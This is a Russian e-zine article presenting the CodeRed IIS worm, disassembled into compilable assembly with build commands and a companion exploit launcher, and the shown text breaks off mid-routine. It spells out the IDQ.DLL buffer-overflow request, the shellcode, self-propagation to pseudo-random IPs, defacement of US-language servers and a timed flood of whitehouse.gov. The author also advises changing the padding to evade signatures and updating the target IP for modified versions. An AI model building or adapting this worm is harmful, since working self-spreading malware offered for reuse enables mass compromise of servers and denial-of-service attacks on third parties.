Настольная книга компьютерного исследователя


Дизассемблирование червя CodeRed

«Компетентные специалисты
обратились к нам…
с http-запросом…»
Неизвестный админ

Кто-то скажет, что червя уже дизассемблировали ееаевцы (www.eeye.com). И  правда,  вот  только  в  их дизасме половина багов, и судя по всему они вообще  многово не  понимают  -   вместо дней месяца написали про часы дня, которые  к тому же в одном месте сравниваются с 28. А особенно радует, как у  них  оформлен  листинг   -  к  каждому регистру аккуратно приписано его значение (специфическое для разных машин):

add ecx, [ebp-1A8h] ; add 0x77E10000 to ecx, to get something like 0x77E6394e

то есть какой-то подонок трассировал в софтайсе червя и тут же, ничего не  понимая,  вбивал в иду (и то и другое, наверняка, лицензионное) никому не нужные циферки. Про комментарии к NOP’ам я промолчу.

Да, кстати. Они еще и софт пишут -  поставьте себе что-нибудь.

Итак,   вашему   вниманию  представляется  дизассемблированный  червяк CodeRed,  доведенный  до  компилируемого  (байт  в  байт) состояния, правда в не полном виде. Также прилагается простая програмка, для засылки червяка на IISы.

Напомню,  что CodeRed заражает IISы, используя переполнение буфера в IDQ.DLL:  часть  http-запроса,  являющаяся asciiz-строкой, преобразуется в unicode  формат (т.е. длина строки увеличивается в 2 раза), что совершенно не  учитывается  при проверке длины получившейся строки. В результате чего появляется возможность сорвать стэк. За «расширяющейся» частью строки идет шеллкод,  представленный  в виде UNICODE символов (т.е. просто будут взяты WORD’ы и положены в стэк, безо всякого разбавления нулями через байт):

                     …NNNN%u9090%u6858%ucbd3%u7801…

Шеллкод  представляет  собой  адрес  внутри  MSVCRT.DLL (7801CBD3), по которому лежит команда CALL EBX, и далее все по плану.

В  результате  чего  управление передается  на собственно тело червя, находящееся в дополнительных полях.

Другими словами, весь червь представляет собой один http-запрос:

          GET /default.ida?NN…NN<shellcode> HTTP/1.0<…><binary worm>

Самое  главное  достоинство  этого червя, на мой взгляд, заключается в методе,   которым   он  эксплоитит  иисы,  т.е.  в  высокой  скорости  его распространения,  так как для инфицирования дырявой машины достаточно лишь обратиться к ней с http-запросом.

В  логи  такой запрос не попадает, так как IIS проводит эту зловредную акцию  лишь после обработки запроса, которая не заканчивается никогда, ибо из заэксплоитеной нити управление уже не уходит.

Из интересных фич червя:

 — с 20-го по 28-е число каждого месяца -  атака на www.whitehouse.gov, по фиксированному IP адресу. Кстати, IP-шник они уже поменяли, и это необходимо учитывать в модификациях. Да, и по поводу модификаций: не забудьте изменить N на что-нибудь другое, а то ееаевцы про какие-то сигнатуры пишут ;-)

 — запуск 100 нитей для перебора IP-адресов, на самом же деле по 100 нитей запускается каждый раз, как исполняется шеллкод и тело червя.

 — глючный рандомер, так что перебираемые IP-адреса на всех машинах изменяются начиная с одних и тех же чисел (первый адрес зависит только от  секунд полученного времени и от номера нити), хотя возможно, что это  сделано специально.

 — дефейс англоязычных сайтов путем временной подмены подпрограммы TcpSockSend на свою собственную, возвращающую свой html-код.

 — при заражении сервера, ответ заразившему его клиенту, и ожидание клиентом этого ответа.

Весьма интересно, на чем и как был написан этот червь.  Надо  заметить,  что  автор  его хорошо знает систему, вплоть до редко используемых   внутренних   структур:   обработчик  SEH’а  изменяет  ЕIP в структуре, описывающей контекст (регистры) вызвавшей исключение нити, так, что  вместо  обработки ошибки управление возвращается обратно в код червя. Похожий  трюк  используется  в некоторых вирусах для перехода в ring-0 под win9X.

 Само  тело  червя  представляет собой одну подпрограмму, написанную на Си,  с  элементами  ассемблера.  В  конце  основной подпрограммы находятся текстовые ресурсы: имена API-функций и прочие.

Большинство вызовов api-функций в черве «обернуто» так:

                mov     esi, esp

push    …
push    …
call    …

cmp     esi, esp

nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx

Как видно, такой код позволяет проконтролировать, не изменился ли стэк в результате вызова функции, т.е. та ли это функция. А последние пять байт могли  содержать  например  JE  $+5; INT 3; JMP $; либо CALL на отладочную подпрограмму.

Интересно также наличие в нескольких местах таких конструкций:

                mov     edx, 1
test    edx, edx
jz      …

Таким  образом  червь  сначала  отладили,  а  потом, не изменяя длины, пропатчили относящиеся к отладке места.

И  вообще  это  какой-то странный червь: несколько непонятно сочетание хорошего знания системы и весьма диких методов программирования.

=====[begin of CODERED.ASM]================================================

; CodeRed IIS Worm  -  disassembly for XAOC #2 e-zine
;
; to compile into fully-working binary file:
;
;   tasm32.exe /m codered.asm
;   tlink32.exe -Tpe codered.obj,,,import32.lib
;
; to xploit IIS:
;
;   xploit 198.137.240.91 codered.exe

p386
model   flat
.data
dd      ?
.code
db      ‘$START$’       ; signature for XPLOIT.exe

; begin of worm body

; request to xploit idq.dll
db      ‘GET /default.ida?’
db      224 dup (‘N’)  ; size multiplied by 2, because of conversion into 2byte str
db      ‘%u9090%u6858%ucbd3%u7801′
db      ‘%u9090%u6858%ucbd3%u7801′
db      ‘%u9090%u6858%ucbd3%u7801′
db      ‘%u9090%u9090%u8190%u00c3′
db      ‘%u0003%u8b00%u531b%u53ff’
db      ‘%u0078%u0000%u00′
db      ‘=a  HTTP/1.0′,13,10
db      ‘Content-type: text/xml’,10
db      ‘HOST:www.worm.com’,10
db      ‘ Accept: */*’,10
db      ‘Content-length: 3569 ‘,13,10,13,10

; shellcode:
;            ; 3 times:
; 90                    nop
; 90                    nop
; 58                    pop    eax
; 68                    push   ????????
; D3 CB 01 78           dd     0x7801CBD3  ; ptr to CALL EBX within MSVCRT.DLL
;
; 90                    nop
; 90                    nop
; 90                    nop
; 90                    nop
; 90                    nop
; 81 C3 00 03 00 00     add    ebx, 00000300h
; 8B 1B                 mov    ebx, [ebx]
; 53                    push   ebx    ; points to wrm structure (main_arg)
; FF 53 78              call   [ebx+78h]  ; call worm_main
; 00 00 00

; structure used by worm threads, pointer passed as a parameter to worm_main
wrm             struc ; (sizeof=0x8c)
dd 2 dup (?)
WAM_handle      dd ?
dd ?
thread_num      dd ?
dd 20 dup (?)
name_with_shellcode dd ?                ; NNNN….
ida_filename    dd ?                    ; /default.ida
dd ?
wormbody_size   dd ?
dd ?
wormbody_ptr    dd ?
dd 2 dup (?)
WAMWriteClient  dd ?
dd ?
wrm             ends

worm_main       proc near

var_218         = dword ptr -218h
tid             = byte ptr -1D4h
file_handle     = dword ptr -1D0h
curr_hModule    = dword ptr -1CCh
st_dwYear       = word ptr -1C8h
st_dwMonth      = word ptr -1C6h
st_dwDayOfWeek  = word ptr -1C4h
st_dwDay        = word ptr -1C2h
st_dwHour       = word ptr -1C0h
st_dwMinute     = word ptr -1BEh
st_dwSecond     = word ptr -1BCh
st_dwMilliseconds= word ptr -1BAh
function_index  = dword ptr -1B8h
i               = dword ptr -1B4h
j               = dword ptr -1B0h
kernel32_export_ptr= dword ptr -1ACh
kernel32_base   = dword ptr -1A8h
ptr_to_fake_tcpsocksend= dword ptr -1A0h
k               = dword ptr -19Ch
ptr_to_strings  = dword ptr -198h
WAM_WriteClient = dword ptr -194h
KERNEL32_GetProcAddress= dword ptr -190h
ip              = dword ptr -18Ch
sock            = dword ptr -188h
sockaddr_proto  = word ptr -184h
sockaddr_port   = word ptr -182h
sockaddr_ip     = dword ptr -180h
sockaddr_reserved= byte ptr -17Ch
func_addr_table = dword ptr -174h
KERNEL32_LoadLibraryA= dword ptr -170h
KERNEL32_GetSystemTime= dword ptr -16Ch
KERNEL32_CreateThread= dword ptr -168h
KERNEL32_CreateFileA= dword ptr -164h
KERNEL32_Sleep  = dword ptr -160h
KERNEL32_GetSystemDefaultLangID= dword ptr -15Ch
KERNEL32_VirtualProtect= dword ptr -158h
;unused_1        = dword ptr -154h
INFOCOMM_TcpSockSend= dword ptr -150h
;unused_2        = dword ptr -14Ch
WS2_socket      = dword ptr -148h
WS2_connect     = dword ptr -144h
WS2_send        = dword ptr -140h
WS2_recv        = dword ptr -13Ch
WS2_closesocket = dword ptr -138h
W3SVC_IMAGEBASE = dword ptr -134h
thread_start_code= byte ptr -130h
seh_stuff       = dword ptr -110h
seh_handler_offset= dword ptr -10Ch
seh_old_ptr     = dword ptr -108h
iobuf           = byte ptr -104h
main_arg        = dword ptr  8

; main entry into the worm,
; comes right after http request and some additional fields

push    ebp
mov     ebp, esp
sub     esp, 218h  ; allocate space for local variables
push    ebx
push    esi
push    edi
; initialize local variables
lea     edi, [ebp+var_218]
mov     ecx, 218h / 4
mov     eax, 0CCCCCCCCh
rep     stosd
mov     [ebp+KERNEL32_GetProcAddress], 0
; install pointer to strings (api function names, etc.)
; char* ptr_to_strings
jmp     @@push_ptr_to_strings
@@pop_ptr_to_strings:
pop     [ebp+ptr_to_strings]
; install SEH structure
lea     edi, [ebp+seh_stuff]
mov     eax, large fs:0
mov     [edi + seh_old_ptr - seh_stuff], eax
mov     large fs:0, edi
; install pointer to fake TcpSockSend
jmp     @@push_ptr_to_fake_tcpsocksend
@@pop_ptr_to_fake_tcpsocksend:
pop     [ebp+ptr_to_fake_tcpsocksend]
; install SEH handler
mov     [ebp+seh_stuff], 0FFFFFFFFh
mov     eax, [ebp+ptr_to_strings]
sub     eax, strings — seh_handler ; eax = seh_handler
mov     [ebp+seh_handler_offset], eax
; set minimal imagebase boudary for KERNEL32.DLL
mov     [ebp+kernel32_base], 77E00000h
; setup own SEH handler, to return to @@cycle: on errors
call    set_sehreturn_to_next
; while (GetProcAddress == 0)
; {
@@cycle:
cmp     [ebp+KERNEL32_GetProcAddress], 0 ; alredy found?
jnz     uninstall_seh
; continue search for kernel32.dll in memory
; for each 64k of memory (because kernel’s imagebase is 64k-aligned)
mov     ecx, [ebp+kernel32_base]
add     ecx, 65536
mov     [ebp+kernel32_base], ecx
; skip range [78000000..BFEF0000]
cmp     [ebp+kernel32_base], 78000000h
jnz     short @@1
mov     [ebp+kernel32_base], 0BFF00000h ; w9x?
@@1:
; check if there is MZ header
mov     edx, [ebp+kernel32_base]
xor     eax, eax
mov     ax, [edx]
cmp     eax, ‘ZM’
jnz     @@jmp_cycle
; check if there is PE header
mov     ecx, [ebp+kernel32_base]
mov     edx, [ecx+3Ch]  ; MZ.PE_OFFS
mov     eax, [ebp+kernel32_base]
xor     ecx, ecx
mov     cx, [eax+edx]
cmp     ecx, ‘EP’
jnz     @@jmp_cycle
; check DLL name within PE exports
mov     edx, [ebp+kernel32_base]
mov     eax, [edx+3Ch]  ; MZ.PE_OFFS
mov     ecx, [ebp+kernel32_base]
mov     edx, [ecx+eax+78h] ; PE.ExportTableRVA
add     edx, [ebp+kernel32_base]
mov     [ebp+kernel32_export_ptr], edx
mov     eax, [ebp+kernel32_export_ptr]
mov     ecx, [eax+0Ch]  ; PE.EXPORT.DLLNameRVA
add     ecx, [ebp+kernel32_base]
mov     [ebp+i], ecx
; should be ‘KERNEL32′
mov     edx, [ebp+i]
cmp     dword ptr [edx], ‘NREK’
jnz     @@jmp_cycle
mov     eax, [ebp+i]
cmp     dword ptr [eax+4], ’23LE’
jnz     @@jmp_cycle
; store found imagebase
mov     ecx, [ebp+kernel32_base]
mov     [ebp+curr_hModule], ecx
; i = imagebase + PE.EXPORT.NamePointersRVA — pointer to 1st exported function name rva
mov     edx, [ebp+kernel32_export_ptr]
mov     eax, [ebp+kernel32_base]
add     eax, [edx+20h]  ; PE.EXPORT.NamePointersRVA
mov     [ebp+i], eax
; for (int index = 0; index < PE.EXPORT.NumOfNamePointers; index++, i+=4)
; {
; index = 0
mov     [ebp+function_index], 0
jmp     short @@2
; index++ — next exported function #
@@next_index:
mov     ecx, [ebp+function_index]
add     ecx, 1
mov     [ebp+function_index], ecx
; i += 4 — pointer to next exported function name rva
mov     edx, [ebp+i]
add     edx, 4
mov     [ebp+i], edx
; if (index >= PE.EXPORT.NumOfNamePointers) goto cycle
@@2:
mov     eax, [ebp+kernel32_export_ptr]
mov     ecx, [ebp+function_index]
cmp     ecx, [eax+18h]  ; PE.EXPORT.NumOfNamePointers
jge     @@jmp_cycle
; check exported function name — search for GetProcAddress
; if ( *(DWORD*)(imagebase+i  ) != ‘GetP’ ) continue;
; if ( *(DWORD*)(imagebase+i+4) != ‘rocA’ ) continue;
mov     edx, [ebp+i]
mov     eax, [edx]
mov     ecx, [ebp+kernel32_base]
cmp     dword ptr [ecx+eax], ‘PteG’
jnz     @@jmp_next_index
mov     edx, [ebp+i]
mov     eax, [edx]
mov     ecx, [ebp+kernel32_base]
cmp     dword ptr [ecx+eax+4], ‘Acor’
jnz     @@jmp_next_index
; GetProcAddress name’s # found. Now search for virtual address
; i = PE.EXPORT.OrdinalTable[ index ]
mov     edx, [ebp+function_index] ; ordinal table: WORD-elements
add     edx, [ebp+function_index]
add     edx, [ebp+kernel32_base]
mov     eax, [ebp+kernel32_export_ptr]
mov     ecx, [eax+24h]  ; PE.EXPORT.OrdinalTableRVA
xor     eax, eax
mov     ax, [edx+ecx]
mov     [ebp+i], eax
; i = PE.EXPORT.AddressTable[ i ]
mov     edx, [ebp+i]    ; address table: DWORD-elements
add     edx, [ebp+i]
add     edx, [ebp+i]
add     edx, [ebp+i]
add     edx, [ebp+kernel32_base]
mov     eax, [ebp+kernel32_export_ptr]
mov     ecx, [eax+1Ch]  ; PE.EXPORT.AddressTableRVA
mov     edx, [edx+ecx]
mov     [ebp+i], edx
; KERNEL32_GetProcAddress = imagebase + i  — RVA to VA
mov     eax, [ebp+i]
add     eax, [ebp+kernel32_base]
mov     [ebp+KERNEL32_GetProcAddress], eax
; break
jmp     short @@jmp_cycle
; } // for (index=0; …
@@jmp_next_index:

jmp     @@next_index
; } // while (GetProcAddress == 0)
@@jmp_cycle:

jmp     @@cycle
uninstall_seh:
lea     edi, [ebp+seh_stuff]
mov     eax, [edi + seh_old_ptr - seh_stuff] ; +8 == old seh structure
mov     large fs:0, eax
; this was additional check for debug purposes. never used
; now initialize function addresses, using KERNEL32.GetProcAddress
; for (int i=1; ; i++)  // i == function#
; {
@@init_func_addr_table:
mov     [ebp+i], 1
jmp     short @@3
@@next_function:
; i++
mov     ecx, [ebp+i]
add     ecx, 1
mov     [ebp+i], ecx
@@3:
; if (*ptr_to_strings == 0) break
mov     edx, [ebp+ptr_to_strings]
movsx   eax, byte ptr [edx]
test    eax, eax
jz      @@end_of_init   ; done
; if (*ptr_to_strings == 9)   // libary?
; {
mov     ecx, [ebp+ptr_to_strings]
movsx   edx, byte ptr [ecx]
cmp     edx, 9          ; 9 = id for library names
jnz     short function_name
library_name:
mov     eax, [ebp+ptr_to_strings]
add     eax, 1          ; skip ’9′
mov     esi, esp
push    eax
call    [ebp+KERNEL32_LoadLibraryA]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
mov     [ebp+curr_hModule], eax   ; store imagebase
; } else {
jmp     short @@jmp_skip_asciiz
function_name:
mov     esi, esp
mov     ecx, [ebp+ptr_to_strings] ; lpProcName
push    ecx
mov     edx, [ebp+curr_hModule] ; hModule
push    edx
call    [ebp+KERNEL32_GetProcAddress]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
mov     ecx, [ebp+i]
mov     [ebp+ecx*4+func_addr_table], eax
; }
; now skip asciiz name — both library or function
@@jmp_skip_asciiz:
jmp     short @@4
; while (*++ptr_to_strings)
; {
@@skip_asciiz_cycle:
; ++ptr_to_strings
mov     edx, [ebp+ptr_to_strings]
add     edx, 1
mov     [ebp+ptr_to_strings], edx
@@4:
; if (*ptr_to_strings == 0) break
; }
; ptr_to_strings++  — skip terminating zero
@@5:
mov     edx, [ebp+ptr_to_strings]
add     edx, 1
mov     [ebp+ptr_to_strings], edx
; } // for (int i=1; …  — end of cycle for each function name
jmp     @@next_function
@@end_of_init:
; ptr_to_strings++ — now ptr to msg_get, skip terminating zero
mov     eax, [ebp+ptr_to_strings]
add     eax, 1
mov     [ebp+ptr_to_strings], eax
; here and later, ptr_to_strings points to msg_get
; initialize WAM.WriteClient function address
mov     ecx, [ebp+main_arg]
mov     edx, [ecx+wrm.WAMWriteClient]
mov     [ebp+WAM_WriteClient], edx
; i = 4  — used later
mov     [ebp+i], 4
; build new thread startup code:
; 68 xxxxxxxx  push <main_arg>
; 5B           pop ebx
; 53           push ebx
; 53           push ebx
; FF 63 78     jmp dword ptr [ebx+0x78]
; 90           nop
; 90           nop
mov     [ebp+thread_start_code], 68h
mov     eax, [ebp+main_arg]
mov     dword ptr [ebp+thread_start_code+1], eax
mov     dword ptr [ebp+thread_start_code+5], 0FF53535Bh
mov     dword ptr [ebp+thread_start_code+9], 90907863h
; j = thread #
mov     ecx, [ebp+main_arg]
mov     edx, [ecx+wrm.thread_num] ; thread#
mov     [ebp+j], edx    ; threadnum
; check thread #
; if (j == 0)  // only 1st thread does reply
cmp     [ebp+j], 0      ; threadnum
jnz     short @@end_of_reply
; reply
mov     esi, esp
push    0
lea     eax, [ebp+i]    ; 4 bytes
push    eax
mov     ecx, [ebp+ptr_to_strings] ; GET …
push    ecx
mov     edx, [ebp+main_arg]
mov     eax, [edx+wrm.WAM_handle]
push    eax
call    [ebp+WAM_WriteClient]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; 100th thread will check system language and perform deface
@@end_of_reply:
cmp     [ebp+j], 100    ; threadnum
jge     short check_lang
; j++
mov     ecx, [ebp+j]    ; threadnum
add     ecx, 1
mov     [ebp+j], ecx    ; threadnum
; ip = thread# * 0x50F0668D
mov     edx, [ebp+j]
imul    edx, 50F0668Dh
mov     [ebp+ip], edx
; insert thread# into (wrm*)&main_arg area, that is shared by all worm threads
mov     eax, [ebp+main_arg]
mov     ecx, [ebp+j]    ; thread#
mov     [eax+wrm.thread_num], ecx ; thread#
; create new thread
mov     esi, esp
lea     edx, [ebp+tid]  ; thread id
push    edx
push    0
lea     eax, [ebp+i]
push    eax
lea     ecx, [ebp+thread_start_code] ; eip
push    ecx
push    0
push    0
call    [ebp+KERNEL32_CreateThread]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
jmp     check_notworm
check_lang:
mov     esi, esp
call    [ebp+KERNEL32_GetSystemDefaultLangID]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
mov     [ebp+i], eax
; i &= 0xFFFF
mov     edx, [ebp+i]
and     edx, 0FFFFh
mov     [ebp+i], edx
; if (i == 0×409) …
cmp     [ebp+i], 409h   ; US? (right, fuck’em all)
jz      short wait_2_hours_and_deface
jmp     check_notworm
wait_2_hours_and_deface:
mov     esi, esp
push    2*3600*1000     ; 2 hours
call    [ebp+KERNEL32_Sleep]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; install pointer to temp_area
jmp     @@push_ptr_to_temp_area
@@pop_ptr_to_temparea:
pop     [ebp+i]         ; ptr to temp_area
; initialize W3SVC.DLL imagebase
mov     eax, [ebp+curr_hModule]
mov     [ebp+W3SVC_IMAGEBASE], eax
; initialize temp_area
mov     ecx, [ebp+i]
mov     edx, [ebp+INFOCOMM_TcpSockSend]
mov     [ecx + temp_TcpSockSend - temp_area], edx
mov     eax, [ebp+i]
mov     ecx, [ebp+WS2_closesocket]
mov     [eax + temp_closesocket - temp_area], ecx
; for (char*j = ptr_to_strings; j < ptr_to_strings+256; j++)
; {
; j = ptr_to_strings
mov     edx, [ebp+ptr_to_strings]
mov     [ebp+j], edx
jmp     short @@7
; j++
@@search_html_cycle:
mov     eax, [ebp+j]
add     eax, 1
mov     [ebp+j], eax
; if (j >= ptr_to_strings+256) break
@@7:
mov     ecx, [ebp+ptr_to_strings]
add     ecx, 256
cmp     [ebp+j], ecx
jnb     short @@unprotect_page
; if (*(DWORD*)j == ‘HTML’) break
mov     edx, [ebp+j]
cmp     dword ptr [edx], ‘HTML’
jnz     short @@jmp_search_html_cycle
jmp     short @@unprotect_page
; } // for (…  — search HTML mark cycle
@@jmp_search_html_cycle:
jmp     short @@search_html_cycle
@@unprotect_page:
; temp_defacedataptr = j + 4  — pointer to html code for deface
mov     eax, [ebp+j]
add     eax, 4          ; skip ‘HTML’ mark
mov     ecx, [ebp+i]
mov     [ecx + temp_defacedataptr - temp_area], eax
; unprotect 16k of memory within W3SVC.DLL
mov     esi, esp
lea     edx, [ebp+function_index] ; original state, will be used when restoring
push    edx
push    4               ; 4=PAGE_READWRITE
push    16384
mov     eax, [ebp+W3SVC_IMAGEBASE]
push    eax
call    [ebp+KERNEL32_VirtualProtect]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; search for pointer to TcpSockSend within W3SVC.DLL
; for (int i=0; i<0×3000; i++)
; {
; i = 0
mov     [ebp+i], 0
jmp     short @@8
; i++
@@search_tcpsocksend_cycle:
mov     ecx, [ebp+i]
add     ecx, 1
mov     [ebp+i], ecx
; if (i >= 0×3000) break
@@8:
cmp     [ebp+i], 3000h
jge     short @@restore_protection
; check if found DWORD is pointer to TcpSockSend
mov     edx, [ebp+W3SVC_IMAGEBASE]
add     edx, [ebp+i]
mov     eax, [edx]
cmp     eax, [ebp+INFOCOMM_TcpSockSend]
jnz     short @@jmp_search_tcpsocksend_cycle
; replace with pointer to worm’s fake TcpSockSend
mov     ecx, [ebp+W3SVC_IMAGEBASE]
add     ecx, [ebp+i]
mov     edx, [ebp+ptr_to_fake_tcpsocksend]
mov     [ecx], edx
; sleep 10 hours
mov     esi, esp
push    10*3600*1000    ; 10 hours
call    [ebp+KERNEL32_Sleep]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; restore pointer to original value
mov     eax, [ebp+W3SVC_IMAGEBASE]
add     eax, [ebp+i]
mov     ecx, [ebp+INFOCOMM_TcpSockSend]
mov     [eax], ecx
jmp     short @@restore_protection
; } // for
@@jmp_search_tcpsocksend_cycle:
jmp     short @@search_tcpsocksend_cycle
; restore original memory protection state
@@restore_protection:

mov     esi, esp
lea     edx, [ebp+i]
push    edx
mov     eax, [ebp+function_index] ; original state
push    eax
push    16384
mov     ecx, [ebp+W3SVC_IMAGEBASE]
push    ecx
call    [ebp+KERNEL32_VirtualProtect]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
check_notworm:

mov     edx, 1          ; for debug
test    edx, edx
jz      jmp$
; check if file exists
mov     esi, esp
push    0
push    80h
push    3
push    0
push    1
push    80000000h
mov     eax, [ebp+ptr_to_strings]
add     eax, msg_cnotworm — msg_get ; db ‘c:\notworm’,0
push    eax
call    [ebp+KERNEL32_CreateFileA]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
mov     [ebp+file_handle], eax
; error while opening?
cmp     [ebp+file_handle], 0FFFFFFFFh
jz      short check_date_20
; no error, so file exists. halt
@@infinite_sleep_1:
mov     ecx, 1          ; for debug
test    ecx, ecx
jz      short check_date_20
mov     esi, esp
push    7FFFFFFFh
call    [ebp+KERNEL32_Sleep]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
jmp     short @@infinite_sleep_1
; get system time (really need only day #)
check_date_20:

mov     esi, esp
lea     edx, [ebp+st_dwYear] ; systemtime structure
push    edx
call    [ebp+KERNEL32_GetSystemTime]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; i = day#
mov     eax, dword ptr [ebp+st_dwDay]
mov     [ebp+i], eax
; i &= 0xFFFF, because of WORD-entry
mov     ecx, [ebp+i]
and     ecx, 0FFFFh
mov     [ebp+i], ecx
; if (day# < 20) goto select_random_ip
cmp     [ebp+i], 20
jl      select_random_ip_and_spread
check_date_28:
mov     edx, 1          ; for debug, never used
test    edx, edx        ; …
jz      select_random_ip_and_spread ; …
; get system time again
mov     esi, esp
lea     eax, [ebp+st_dwYear]
push    eax
call    [ebp+KERNEL32_GetSystemTime]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; i = day#
mov     ecx, dword ptr [ebp+st_dwDay]
mov     [ebp+i], ecx
; i &= 0xFFFF
mov     edx, [ebp+i]
and     edx, 0FFFFh
mov     [ebp+i], edx
; if (day# >= 28) infinite_sleep
cmp     [ebp+i], 28
jl      short @@9
@@infinite_sleep_2:
mov     eax, 1          ; for debug, never used
test    eax, eax        ; …
jz      short @@9       ; …
mov     esi, esp
push    7FFFFFFFh
call    [ebp+KERNEL32_Sleep]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
jmp     short @@infinite_sleep_2
; sleep 0.1 sec
@@9:

mov     esi, esp
push    100             ; 0.1 sec
call    [ebp+KERNEL32_Sleep]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; allocate socket
mov     esi, esp
push    0
push    1
push    2
call    [ebp+WS2_socket]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
mov     [ebp+sock], eax
; initialize sockaddr structure
mov     [ebp+sockaddr_proto], 2
mov     [ebp+sockaddr_port], 5000h ; htons(80)
mov     [ebp+sockaddr_ip], 5BF089C6h ; www.whitehouse.gov
; connect
mov     esi, esp
push    16              ; sizeof(sockaddr)
lea     ecx, [ebp+sockaddr_proto]
push    ecx
mov     edx, [ebp+sock]
push    edx
call    [ebp+WS2_connect]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; for(int i=0; i<0×18000; i++)
; {
; i = 0
mov     [ebp+i], 0
jmp     short @@10
; i++
@@flood_cycle:
mov     eax, [ebp+i]
add     eax, 1
mov     [ebp+i], eax
; if (i >= 0×18000) break
@@10:
cmp     [ebp+i], 18000h
jge     short @@end_of_flood
; sleep 1 sec
mov     esi, esp
push    1000            ; 1 sec
call    [ebp+KERNEL32_Sleep]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; send 1 byte
mov     esi, esp
push    0
push    1
lea     ecx, [ebp+iobuf]
push    ecx
mov     edx, [ebp+sock]
push    edx
call    [ebp+WS2_send]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; } // for (…
jmp     short @@flood_cycle
; sleep 4 hours
@@end_of_flood:
mov     esi, esp
push    1000000h        ; 04:39:37 (h:m:s)
call    [ebp+KERNEL32_Sleep]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; check date again, and continue flood if day# < 28
jmp     check_date_28
select_random_ip_and_spread:

mov     eax, dword ptr [ebp+st_dwSecond]
mov     [ebp+j], eax
; j = (sqr(second)*0xCD59E3 + second*0x1E1b9 + ip)
mov     ecx, [ebp+j]
imul    ecx, [ebp+j]
imul    ecx, 0CD59E3h
mov     edx, [ebp+j]
imul    edx, 1E1B9h
mov     eax, [ebp+ip]
add     eax, ecx
add     edx, eax
mov     [ebp+j], edx
; ip = ip * 0xCF3383 + 0x76BFE53
mov     ecx, [ebp+ip]
imul    ecx, 0CF3383h
add     ecx, 76BFE53h
mov     [ebp+ip], ecx
; j &= 255
mov     edx, [ebp+ip]
and     edx, 0FFh
mov     [ebp+j], edx    ; A
; if ((j == 127) || (j == 224))

cmp     [ebp+j], 127
jz      short @@11
cmp     [ebp+j], 224
jnz     short @@12
; {
@@11:
mov     eax, [ebp+ip]
add     eax, 134569     ; change A if 127 or 224
mov     [ebp+ip], eax
; } // if
; sleep 0.1 sec
@@12:
mov     esi, esp
push    100             ; 0.1 sec
call    [ebp+KERNEL32_Sleep]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; create socket
mov     esi, esp
push    0
push    1
push    2
call    [ebp+WS2_socket]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
mov     [ebp+sock], eax
; initialize sockaddr structure
mov     [ebp+sockaddr_proto], 2
mov     [ebp+sockaddr_port], 5000h ; htons(80)
; sockaddr_ip = ip  — really not a random number
mov     ecx, [ebp+ip]
mov     [ebp+sockaddr_ip], ecx
; connect
mov     esi, esp
push    16              ; sizeof(sockaddr)
lea     edx, [ebp+sockaddr_proto]
push    edx
mov     eax, [ebp+sock]
push    eax
call    [ebp+WS2_connect]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; check if connected
test    eax, eax
jnz     @@closesocket
; send ‘GET ‘
mov     esi, esp
push    0
push    4               ; 4 bytes
mov     ecx, [ebp+ptr_to_strings] ; msg_get
push    ecx
mov     edx, [ebp+sock]
push    edx
call    [ebp+WS2_send]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; calculate length of ida.filename
; for (i = 0, k = ida.filename; (char*)k!=0; k++, i++)
; {
; i = 0
mov     [ebp+i], 0
; k = ida.filename
mov     eax, [ebp+main_arg]
mov     ecx, [eax+wrm.ida_filename]
mov     [ebp+k], ecx
jmp     short @@14
; k++
@@13:
mov     edx, [ebp+k]
add     edx, 1
mov     [ebp+k], edx
; i++
mov     eax, [ebp+i]
add     eax, 1
mov     [ebp+i], eax
; if ((char*)k == 0) break
@@14:
mov     ecx, [ebp+k]
movsx   edx, byte ptr [ecx]
test    edx, edx
jz      short @@15
jmp     short @@13
; } // for
; send ida.filename
@@15:
mov     esi, esp
push    0
mov     eax, [ebp+i]    ; calculated length
push    eax
mov     ecx, [ebp+main_arg]
mov     edx, [ecx+wrm.ida_filename]
push    edx
mov     eax, [ebp+sock]
push    eax
call    [ebp+WS2_send]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; send ‘?’
mov     esi, esp
push    0
push    1               ; 1 byte
mov     ecx, [ebp+ptr_to_strings]
add     ecx, msg_? — msg_get ; db ‘?’,0
push    ecx
mov     edx, [ebp+sock]
push    edx
call    [ebp+WS2_send]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; calculate shellcode length
; for (i = 0, k = &shellcode; (char*)k != 0; k++, i++)
; {
; i = 0
mov     [ebp+i], 0
; k = ptr to shellcode
